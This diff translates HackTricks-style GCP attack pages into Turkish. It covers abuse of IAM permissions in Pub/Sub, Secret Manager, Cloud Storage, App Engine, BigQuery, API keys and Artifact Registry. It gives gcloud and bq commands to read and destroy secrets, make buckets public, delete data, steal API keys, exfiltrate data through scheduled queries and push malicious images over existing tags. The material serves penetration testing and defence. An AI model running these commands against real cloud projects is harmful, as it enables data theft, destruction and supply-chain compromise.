@@ -160,11 +186,11 @@ gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
|
||||
### `pubsub.schemas.setIamPolicy`
|
||||
|
||||
Önceki bahsedilen saldırıların herhangi birini gerçekleştirmek için gerekli izinleri kendinize verin.
|
||||
Daha önce bahsedilen attacks'ları gerçekleştirmek için gereken izinleri kendinize verin.
|
||||
|
||||
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
|
||||
|
||||
Bu, tüm unACKed mesajların bir snapshot'ını oluşturacak ve onları aboneliğe geri koyacaktır. Bir saldırgan için çok kullanışlı değil ama işte:
|
||||
Bu, tüm unACKed mesajların bir snapshot'ını oluşturur ve bunları subscription'a geri koyar. Bir attacker için çok kullanışlı değil ama işte:
|
||||
|
||||
<details>
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Secretmanager
|
||||
|
||||
Secret Manager hakkında daha fazla bilgi için bakınız:
|
||||
Secret Manager hakkında daha fazla bilgi için bakın:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
@@ -12,15 +12,38 @@ Secret Manager hakkında daha fazla bilgi için bakınız:
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
Bu, Secret Manager'daki secret'ları okuma erişimi verir ve içindeki bilgilere bağlı olarak ayrıcalıkları yükseltmeye yardımcı olabilir:
|
||||
Bu, Secret Manager'daki secret'ları okumaya izin verir ve içeride hangi bilgilerin saklı olduğuna bağlı olarak escalate privileges'e yardımcı olabilir:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Secret sürümüne erişim</summary>
|
||||
<summary>Secret versiyonuna erişim</summary>
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `secretmanager.versions.destroy`
|
||||
The `secretmanager.versions.destroy` izni, bir kimliğe Secret Manager içindeki bir secret'ın belirli bir sürümünü kalıcı olarak yok etme (geri dönülemez şekilde silinmiş olarak işaretleme) yetkisi verir; bu, kritik kimlik bilgilerinin kaldırılmasına olanak tanıyabilir ve potansiyel olarak denial of service'a veya hassas verilerin kurtarılmasının engellenmesine yol açabilir.
|
||||
```bash
|
||||
gcloud secrets versions destroy <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
|
||||
```
|
||||
### `secretmanager.versions.disable`
|
||||
`secretmanager.versions.disable` izni, bir kimliğin Secret Manager içindeki etkin secret sürümlerini devre dışı bırakmasına olanak tanır ve bunlara bağımlı uygulama veya hizmetlerin kullanımını geçici olarak engeller.
|
||||
```bash
|
||||
gcloud secrets versions disable <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
|
||||
```
|
||||
### `secretmanager.secrets.delete`
|
||||
`secretmanager.secrets.delete` izin kümesi, bir kimliğin Secret Manager'daki bir secret'i ve onun tüm saklanan sürümlerini tamamen silmesine olanak tanır.
|
||||
```bash
|
||||
gcloud secrets delete <SECRET_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
### `secretmanager.secrets.update`
|
||||
`secretmanager.secrets.update` izni, bir kimliğin bir secret'in üstverisini ve yapılandırmasını (örneğin rotasyon ayarları, sürüm politikası, etiketler ve bazı secret özellikleri) değiştirmesine izin verir.
|
||||
```bash
|
||||
gcloud secrets update SECRET_NAME \
|
||||
--project=PROJECT_ID \
|
||||
--clear-labels \
|
||||
--rotation-period=DURATION
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,13 +10,9 @@ Cloud Storage hakkında daha fazla bilgi için bu sayfaya bakın:
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Give Public Access
|
||||
### Herkese Açık Erişim Verme
|
||||
|
||||
Harici kullanıcılara (GCP'ye giriş yapmış olsun veya olmasın) bucket içeriğine erişim verme mümkündür. Ancak, varsayılan olarak bucket'ın herkese açılma seçeneği devre dışıdır:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bucket/objects'i herkese açık yap</summary>
|
||||
Dış kullanıcılara (GCP'ye giriş yapmış olsunlar ya da olmasınlar) bucket içeriğine erişim vermek mümkündür. Ancak, varsayılan olarak bucket'ların herkese açık şekilde açılma seçeneği devre dışı bırakılmıştır:
|
||||
```bash
|
||||
# Disable public prevention
|
||||
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
|
||||
@@ -29,10 +25,60 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
|
||||
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
```
|
||||
</details>
|
||||
Eğer **ACLs devre dışı bırakılmış bir bucket'a ACLs vermeye** çalışırsanız şu hatayı alırsınız: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
|
||||
Eğer **ACLs to a bucket with disabled ACLs** vermeye çalışırsanız şu hatayla karşılaşırsınız: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
Açık bucket'lara tarayıcı üzerinden erişmek için şu URL'leri kullanın: `https://<bucket_name>.storage.googleapis.com/` veya `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
|
||||
Tarayıcı üzerinden açık bucket'lara erişmek için şu URL'leri kullanın: `https://<bucket_name>.storage.googleapis.com/` veya `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
### `storage.objects.delete` (`storage.objects.get`)
|
||||
|
||||
Bir nesneyi silmek için:
|
||||
```bash
|
||||
gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list`
|
||||
|
||||
Bir bucket'ı silmek için:
|
||||
```bash
|
||||
gcloud storage rm -r gs://<BUCKET_NAME>
|
||||
```
|
||||
### HMAC Keys'leri Devre Dışı Bırak
|
||||
|
||||
`storage.hmacKeys.update` izni HMAC Keys'leri devre dışı bırakmaya izin verir, `storage.hmacKeys.delete` izni ise bir identity'nin Cloud Storage içindeki service accounts ile ilişkili HMAC Keys'leri silmesine izin verir.
|
||||
```bash
|
||||
# Deactivate
|
||||
gcloud storage hmac update <ACCESS_ID> --deactivate
|
||||
|
||||
# Delete
|
||||
gcloud storage hmac delete <ACCESS_ID>
|
||||
```
|
||||
### `storage.buckets.setIpFilter` & `storage.buckets.update`
|
||||
`storage.buckets.setIpFilter` izni, `storage.buckets.update` izniyle birlikte, bir Cloud Storage bucket'ında IP adresi filtreleri yapılandırarak hangi IP aralıklarının veya adreslerinin bucket'ın kaynaklarına erişebileceğini belirlemeye olanak tanır.
|
||||
|
||||
IP filtresini tamamen temizlemek için aşağıdaki komut kullanılabilir:
|
||||
```bash
|
||||
gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
Filtrelenen IP'leri değiştirmek için aşağıdaki komut kullanılabilir:
|
||||
```bash
|
||||
gcloud storage buckets update gs://<BUCKET_NAME> \
|
||||
--ip-filter-file=ip-filter.json \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
JSON dosyası filtrenin kendisini temsil eder, şöyle bir şey:
|
||||
```bash
|
||||
{
|
||||
"mode": "Enabled",
|
||||
"publicNetworkSource": {
|
||||
"allowedIpCidrRanges": ["<IP>/<MASK>"]
|
||||
},
|
||||
"allowCrossOrgVpcs": false,
|
||||
"allowAllServiceAgentAccess": false
|
||||
}
|
||||
```
|
||||
### `storage.buckets.restore`
|
||||
Bir bucket'ı geri yüklemek için kullanın:
|
||||
```bash
|
||||
gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,88 +1,139 @@
|
||||
# GCP - Apikeys Privesc
|
||||
# GCP - AppEngine Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Apikeys
|
||||
## App Engine
|
||||
|
||||
Aşağıdaki izinler API key oluşturmak ve çalmak için kullanışlıdır, dokümandan bir not: _An API key is a simple encrypted string that **bir principal olmaksızın bir uygulamayı tanımlar**. They are useful for accessing **kamu verilerine anonim olarak erişim** için yararlıdır ve kota ve **faturalama** için API isteklerini projenizle **ilişkilendirmek** için kullanılır._
|
||||
|
||||
Therefore, with an API key you can make that company pay for your use of the API, but you won't be able to escalate privileges.
|
||||
Bu nedenle, bir API key ile şirketin API kullanımınızın bedelini ödemesini sağlayabilirsiniz, ancak privilege escalation yapamazsınız.
|
||||
|
||||
For more information about API Keys check:
|
||||
App Engine hakkında daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
{{#endref}}
|
||||
|
||||
For other ways to create API keys check:
|
||||
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
|
||||
|
||||
Bunlar, **`gcloud` cli** kullanarak bir App'i dağıtmak için gereken izinlerdir. Muhtemelen **`get`** ve **`list`** olanlar **hariç bırakılabilir**.
|
||||
|
||||
Python kod örneklerini şu adreste bulabilirsiniz: [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
|
||||
|
||||
Varsayılan olarak, App servisinin adı **`default`** olacaktır ve aynı ada sahip yalnızca 1 örnek olabilir.\
|
||||
Bunu değiştirmek ve ikinci bir App oluşturmak için **`app.yaml`** içinde kök anahtarın değerini şu şekilde değiştirin: **`service: my-second-app`**
|
||||
```bash
|
||||
cd python-docs-samples/appengine/flexible/hello_world
|
||||
gcloud app deploy #Upload and start application inside the folder
|
||||
```
|
||||
Buna en az 10-15 dakika verin; işe yaramazsa **deploy another of times** çağırın ve birkaç dakika bekleyin.
|
||||
|
||||
> [!NOTE]
|
||||
> Kullanılacak **Service Account'u belirtmek** mümkündür; ancak varsayılan olarak App Engine default SA kullanılır.
|
||||
|
||||
The URL of the application is something like `https://<proj-name>.oa.r.appspot.com/` or `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
|
||||
|
||||
### Güncelleme için eşdeğer izinler
|
||||
|
||||
Yeni bir tane oluşturmak için izniniz olmayabilir, ancak mevcut bir AppEngine'i güncellemek için yeterli izne sahip olabilirsiniz. Bu durumda mevcut App Engine'i şu şekilde güncelleyebilirsiniz:
|
||||
```bash
|
||||
# Find the code of the App Engine in the buckets
|
||||
gsutil ls
|
||||
|
||||
# Download code
|
||||
mkdir /tmp/appengine2
|
||||
cd /tmp/appengine2
|
||||
## In this case it was found in this custom bucket but you could also use the
|
||||
## buckets generated when the App Engine is created
|
||||
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
|
||||
unzip labs_appengine_1_premissions_privesc.zip
|
||||
|
||||
## Now modify the code..
|
||||
|
||||
## If you don't have an app.yaml, create one like:
|
||||
cat >> app.yaml <<EOF
|
||||
runtime: python312
|
||||
|
||||
entrypoint: gunicorn -b :\$PORT main:app
|
||||
|
||||
env_variables:
|
||||
A_VARIABLE: "value"
|
||||
EOF
|
||||
|
||||
# Deploy the changes
|
||||
gcloud app deploy
|
||||
|
||||
# Update the SA if you need it (and if you have actas permissions)
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
Eğer **zaten bir AppEngine'i ele geçirdiyseniz** ve kullanmak için servis hesabı üzerinde **`appengine.applications.update`** iznine ve **actAs** yetkisine sahipseniz, AppEngine tarafından kullanılan servis hesabını şu şekilde değiştirebilirsiniz:
|
||||
```bash
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
|
||||
|
||||
Bu izinlerle, **flexible** türündeki App Engine örneklerine **ssh ile giriş yapmak** mümkün (standard değil). Bazı **`list`** ve **`get`** izinleri **gerçekte gerekli olmayabilir**.
|
||||
```bash
|
||||
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
|
||||
```
|
||||
### `appengine.applications.update`, `appengine.operations.get`
|
||||
|
||||
Bence bu yalnızca uygulamaları kurmak için google'ın kullanacağı arka plan SA'sını değiştiriyor, bu yüzden bunu kötüye kullanıp service account'u çalamayacağınızı düşünüyorum.
|
||||
```bash
|
||||
gcloud app update --service-account=<sa_email>
|
||||
```
|
||||
### `appengine.versions.getFileContents`, `appengine.versions.update`
|
||||
|
||||
Bu izinlerin nasıl kullanılacağını veya faydalı olup olmadığını bilmiyorum (kod değiştirildiğinde yeni bir versiyon oluşturulduğunu unutmayın, bu yüzden sadece kodu veya birinin IAM rolünü güncelleyip güncelleyemeyeceğimi bilmiyorum, ama sanırım yapabilmelisiniz, belki bucket içindeki kodu değiştirerek??).
|
||||
|
||||
### `bigquery.tables.delete`, `bigquery.datasets.delete` & `bigquery.models.delete` (`bigquery.models.getMetadata`)
|
||||
|
||||
Tabloları, veri kümesini veya modelleri kaldırmak için:
|
||||
```bash
|
||||
# Table removal
|
||||
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>
|
||||
|
||||
# Dataset removal
|
||||
bq rm -r -f <PROJECT_ID>:<DATASET>
|
||||
|
||||
# Model removal
|
||||
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>
|
||||
```
|
||||
### Scheduled Queries'in Kötüye Kullanımı
|
||||
|
||||
With the `bigquery.datasets.get`, `bigquery.jobs.create`, and `iam.serviceAccounts.actAs` permissions, an identity can query dataset metadata, launch BigQuery jobs, and execute them using a Service Account with higher privileges.
|
||||
|
||||
Bu saldırı, Scheduled Queries'in kötü niyetli şekilde kullanılarak (seçilen Service Account altında çalışan) sorguların otomatikleştirilmesine imkân tanır; bu, örneğin hassas verilerin saldırganın erişimi olan başka bir tabloya veya dataset'e okunup yazılmasına yol açabilir — verileri harici olarak çıkarmaya gerek kalmadan dolaylı ve sürekli exfiltration sağlar.
|
||||
|
||||
Saldırgan, hangi Service Account'un istenen sorguyu yürütmek için gerekli izinlere sahip olduğunu öğrendiğinde, o Service Account'u kullanacak şekilde çalışan ve sonuçları periyodik olarak kendi seçtikleri bir dataset'e yazan bir Scheduled Query yapılandırması oluşturabilir.
|
||||
```bash
|
||||
bq mk \
|
||||
--transfer_config \
|
||||
--project_id=<PROJECT_ID> \
|
||||
--location=US \
|
||||
--data_source=scheduled_query \
|
||||
--target_dataset=<DEST_DATASET> \
|
||||
--display_name="Generic Scheduled Query" \
|
||||
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--schedule="every 10 minutes" \
|
||||
--params='{
|
||||
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
|
||||
"destination_table_name_template": "<destination_table>",
|
||||
"write_disposition": "WRITE_TRUNCATE"
|
||||
}'
|
||||
|
||||
```
|
||||
### Write Access over the buckets
|
||||
|
||||
Daha önce bahsedildiği gibi App Engine sürümleri `staging.<project-id>.appspot.com` formatında bir bucket içinde bazı veriler oluşturur. Önceden bu bucket'ı ele geçirmek mümkün değildir çünkü GCP kullanıcıları `appspot.com` etki alanını kullanarak bucket oluşturma yetkisine sahip değildir.
|
||||
|
||||
Ancak, bu bucket üzerinde okuma & yazma erişimi ile bucket'ı izleyip herhangi bir değişiklik yapıldığında kodu mümkün olan en hızlı şekilde değiştirerek AppEngine sürümüne bağlı SA'ya escalate privileges etmek mümkündür. Bu şekilde, bu koddan oluşturulan container **execute the backdoored code**.
|
||||
|
||||
For more information and a **PoC check the relevant information from this page**:
|
||||
|
||||
{{#ref}}
|
||||
gcp-serviceusage-privesc.md
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
### Write Access over the Artifact Registry
|
||||
|
||||
Projede hangi API'lerin etkin olduğunu veya bulduğunuz API key'e hangi kısıtlamaların uygulandığını bilmeyebileceğiniz için [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) aracını çalıştırıp **API key ile nereye erişebileceğinizi** kontrol etmek ilginç olur.
|
||||
|
||||
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
Bu izin **bir API key oluşturmayı** sağlar:
|
||||
|
||||
<details>
|
||||
<summary>gcloud kullanarak bir API key oluşturma</summary>
|
||||
```bash
|
||||
gcloud services api-keys create
|
||||
Operation [operations/akmf.p7-[...]9] complete. Result: {
|
||||
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
|
||||
"createTime":"2022-01-26T12:23:06.281029Z",
|
||||
"etag":"W/\"HOhA[...]=\"",
|
||||
"keyString":"AIzaSy[...]oU",
|
||||
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
|
||||
"uid":"f707[...]e8",
|
||||
"updateTime":"2022-01-26T12:23:06.378442Z"
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
Bu işlemi otomatikleştirmek için bir scripti [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh) adresinde bulabilirsiniz.
|
||||
|
||||
> [!CAUTION]
|
||||
> Varsayılan olarak kullanıcıların yeni projeler oluşturma izinlerine sahip olduklarını ve yeni proje üzerinde Owner rolü verildiğini unutmayın. Bu yüzden bir kullanıcı **bir proje oluşturabilir ve bu proje içinde bir API key oluşturabilir**.
|
||||
|
||||
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
|
||||
|
||||
Bu izinler **tüm apiKeys'leri listeleme ve Key'i alma** sağlar:
|
||||
|
||||
<details>
|
||||
<summary>Tüm API keys'leri listeleyin ve alın</summary>
|
||||
```bash
|
||||
for key in $(gcloud services api-keys list --uri); do
|
||||
gcloud services api-keys get-key-string "$key"
|
||||
done
|
||||
```
|
||||
</details>
|
||||
|
||||
Otomatikleştirmek için bir scripti [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh) adresinde bulabilirsiniz.
|
||||
|
||||
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
|
||||
|
||||
Bu izinler size **list and regenerate deleted api keys** yapma imkânı sağlar. **undelete** gerçekleştirildikten sonra çıktı olarak **API key is given in the output**:
|
||||
|
||||
<details>
|
||||
<summary>API keys'leri listeleme ve geri alma</summary>
|
||||
```bash
|
||||
gcloud services api-keys list --show-deleted
|
||||
gcloud services api-keys undelete <key-uid>
|
||||
```
|
||||
</details>
|
||||
|
||||
### Diğer çalışanları phish etmek için İç OAuth Uygulaması Oluştur
|
||||
|
||||
Bunu nasıl yapacağınızı öğrenmek için aşağıdaki sayfayı inceleyin; ancak bu eylem hizmet **`clientauthconfig`** [according to the docs](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
|
||||
|
||||
{{#ref}}
|
||||
../../workspace-security/gws-google-platforms-phishing/
|
||||
{{#endref}}
|
||||
Even though App Engine creates docker images inside Artifact Registry. It was tested that **even if you modify the image inside this service** and removes the App Engine instance (so a new one is deployed) the **code executed doesn't change**.\
|
||||
It might be possible that performing a **Race Condition attack like with the buckets it might be possible to overwrite the executed code**, but this wasn't tested.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,10 +12,10 @@ Artifact Registry hakkında daha fazla bilgi için bakınız:
|
||||
|
||||
### artifactregistry.repositories.uploadArtifacts
|
||||
|
||||
Bu izinle bir saldırgan, Docker imajları gibi kötü amaçlı kod içeren artifact'ların yeni sürümlerini yükleyebilir:
|
||||
Bu izinle bir saldırgan, Docker images gibi kötü amaçlı kod içeren artifact'ların yeni sürümlerini yükleyebilir:
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry'ye Docker imajı yükle</summary>
|
||||
<summary>Upload Docker image to Artifact Registry</summary>
|
||||
```bash
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -29,19 +29,19 @@ docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Aynı isim ve tag'e sahip yeni bir **kötü amaçlı docker yüklemek mümkün** olduğu doğrulandı, bu yüzden **eski olan tag'i kaybedecek** ve bu tag ile bir dahaki indirmede **kötü amaçlı olan** indirilecektir.
|
||||
> Mevcut olanla aynı isim ve tag'e sahip yeni bir **kötü amaçlı docker** imajı yüklemenin **mümkün olduğu** doğrulandı; bu yüzden **eski imaj tag'ini kaybedecek** ve aynı tag ile bir sonraki indirmede **kötü amaçlı olan indirilecektir**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bir Python kütüphanesi yükle</summary>
|
||||
|
||||
**Yüklemek için kütüphaneyi oluşturarak başlayın** (registry'den en son sürümü indirebiliyorsanız bu adımı atlayabilirsiniz):
|
||||
**Yüklemek için kütüphaneyi oluşturarak başlayın** (registry'den en güncel sürümü indirebiliyorsanız bu adımı atlayabilirsiniz):
|
||||
|
||||
1. **Proje yapınızı oluşturun**:
|
||||
1. **Proje yapınızı ayarlayın**:
|
||||
|
||||
- Kütüphaneniz için yeni bir dizin oluşturun, örn., `hello_world_library`.
|
||||
- Bu dizinin içinde paket adınızla başka bir dizin oluşturun, örn., `hello_world`.
|
||||
- Paket dizininizin içinde bir `__init__.py` dosyası oluşturun. Bu dosya boş olabilir veya paketiniz için başlangıç kodu içerebilir.
|
||||
- Kütüphaneniz için yeni bir dizin oluşturun, örn. `hello_world_library`.
|
||||
- Bu dizinin içinde paket adınızla başka bir dizin oluşturun, örn. `hello_world`.
|
||||
- Paket dizininizde bir `__init__.py` dosyası oluşturun. Bu dosya boş olabilir veya paketiniz için başlangıç tanımlamalarını içerebilir.
|
||||
|
||||
<details>
|
||||
<summary>Create project structure</summary>
|
||||
@@ -57,7 +57,7 @@ touch hello_world/__init__.py
|
||||
|
||||
2. **Kütüphane kodunuzu yazın**:
|
||||
|
||||
- `hello_world` dizini içinde modülünüz için yeni bir Python dosyası oluşturun, örn., `greet.py`.
|
||||
- `hello_world` dizininin içinde modülünüz için yeni bir Python dosyası oluşturun, örn. `greet.py`.
|
||||
- "Hello, World!" fonksiyonunuzu yazın:
|
||||
|
||||
<details>
|
||||
@@ -95,11 +95,11 @@ install_requires=[
|
||||
|
||||
</details>
|
||||
|
||||
**Şimdi kütüphaneyi yükleyelim:**
|
||||
**Şimdi, kütüphaneyi yükleyelim:**
|
||||
|
||||
1. **Paketinizi oluşturun**:
|
||||
1. **Paketinizi derleyin**:
|
||||
|
||||
- `hello_world_library` dizininin kökünden şu komutu çalıştırın:
|
||||
- `hello_world_library` dizininizin kökünden şu komutu çalıştırın:
|
||||
|
||||
<details>
|
||||
<summary>Build Python package</summary>
|
||||
@@ -110,7 +110,7 @@ python3 setup.py sdist bdist_wheel
|
||||
|
||||
</details>
|
||||
|
||||
2. **twine için doğrulamayı yapılandırın** (paketinizi yüklemek için kullanılır):
|
||||
2. **twine için kimlik doğrulamayı yapılandırın** (paketinizi yüklemek için kullanılır):
|
||||
- `twine`'in yüklü olduğundan emin olun (`pip install twine`).
|
||||
- Kimlik bilgilerini yapılandırmak için `gcloud` kullanın:
|
||||
|
||||
@@ -124,7 +124,7 @@ twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-acce
|
||||
3. **Derlemeyi temizle**
|
||||
|
||||
<details>
|
||||
<summary>Derleme çıktılarını temizle</summary>
|
||||
<summary>Derleme artifaktlarını temizle</summary>
|
||||
```bash
|
||||
rm -rf dist build hello_world.egg-info
|
||||
```
|
||||
@@ -133,7 +133,7 @@ rm -rf dist build hello_world.egg-info
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Aynı sürüme sahip bir python kütüphanesini yüklemek mümkün değil, ancak daha yüksek sürümleri yüklemek mümkündür (veya sürümün sonuna işe yarıyorsa ekstra **`.0` eklemek** — python'da işe yaramaz), veya son sürümü silip yeni bir sürüm yüklemek mümkündür (gerekli: `artifactregistry.versions.delete`):
|
||||
> Aynı sürüme sahip bir python kütüphanesini yüklemek mümkün değil, fakat **daha büyük sürümler** yüklemek mümkündür (veya sürümün sonuna işe yararsa ekstra bir **`.0` eklemek** — python'da genellikle işe yaramaz), veya son sürümü **silip yerine yeni bir sürüm yüklemek** mümkündür (gerekli izin `artifactregistry.versions.delete`):
|
||||
>
|
||||
> <details>
|
||||
> <summary>Artifact sürümünü sil</summary>
|
||||
@@ -146,12 +146,12 @@ rm -rf dist build hello_world.egg-info
|
||||
|
||||
### `artifactregistry.repositories.downloadArtifacts`
|
||||
|
||||
Bu izinle **artifact'leri indirebilir** ve **hassas bilgileri** ve **güvenlik açıklarını** arayabilirsiniz.
|
||||
Bu izin sayesinde **artifacts** indirebilir ve **hassas bilgileri** ile **zafiyetleri** araştırabilirsiniz.
|
||||
|
||||
Bir **Docker** imajı indir:
|
||||
Bir **Docker** imajı indirin:
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry'den Docker imajı indir</summary>
|
||||
<summary>Artifact Registry'den Docker imajı indirme</summary>
|
||||
```sh
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -161,7 +161,7 @@ docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
</details>
|
||||
|
||||
Download a **python** library:
|
||||
Bir **python** kütüphanesini indir:
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry'den Python kütüphanesini indir</summary>
|
||||
@@ -170,7 +170,7 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
|
||||
```
|
||||
</details>
|
||||
|
||||
- Uzak (remote) ve standard registry'ler sanal bir registry içinde karıştığında ve bir paket her ikisinde de varsa ne olur? Bu sayfaya bakın:
|
||||
- Bir sanal registry içinde remote ve standard registry'ler karışırsa ve bir paket her ikisinde de varsa ne olur? Bu sayfaya bak:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-artifact-registry-persistence.md
|
||||
@@ -178,10 +178,10 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
|
||||
|
||||
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
|
||||
|
||||
Registry'den docker images gibi artefaktları silin:
|
||||
Registrysten Docker görüntüleri gibi artefaktları siler:
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry'den Docker image silme</summary>
|
||||
<summary>Artifact Registry'den Docker görüntüsü silme</summary>
|
||||
```bash
|
||||
# Delete a docker image
|
||||
gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
@@ -190,10 +190,10 @@ gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<rep
|
||||
|
||||
### `artifactregistry.repositories.delete`
|
||||
|
||||
Tam bir Artifact Registry repository'sini sil (içinde içerik olsa bile):
|
||||
Tam bir depoyu sil (içerik olsa bile):
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry repository'sini sil</summary>
|
||||
<summary>Artifact Registry deposunu sil</summary>
|
||||
```
|
||||
gcloud artifacts repositories delete <repo-name> --location=<location>
|
||||
```
|
||||
@@ -201,17 +201,72 @@ gcloud artifacts repositories delete <repo-name> --location=<location>
|
||||
|
||||
### `artifactregistry.repositories.setIamPolicy`
|
||||
|
||||
Bu izne sahip bir attacker kendisine daha önce bahsedilen bazı repository saldırılarını gerçekleştirmek için izinler verebilir.
|
||||
Bu izne sahip bir saldırgan, kendisine daha önce bahsedilen depo saldırılarını gerçekleştirme yetkilerini verebilir.
|
||||
|
||||
### Artifact Registry Read & Write üzerinden diğer servislere Pivoting
|
||||
### Pivoting to other Services through Artifact Registry Read & Write
|
||||
|
||||
- **Cloud Functions**
|
||||
|
||||
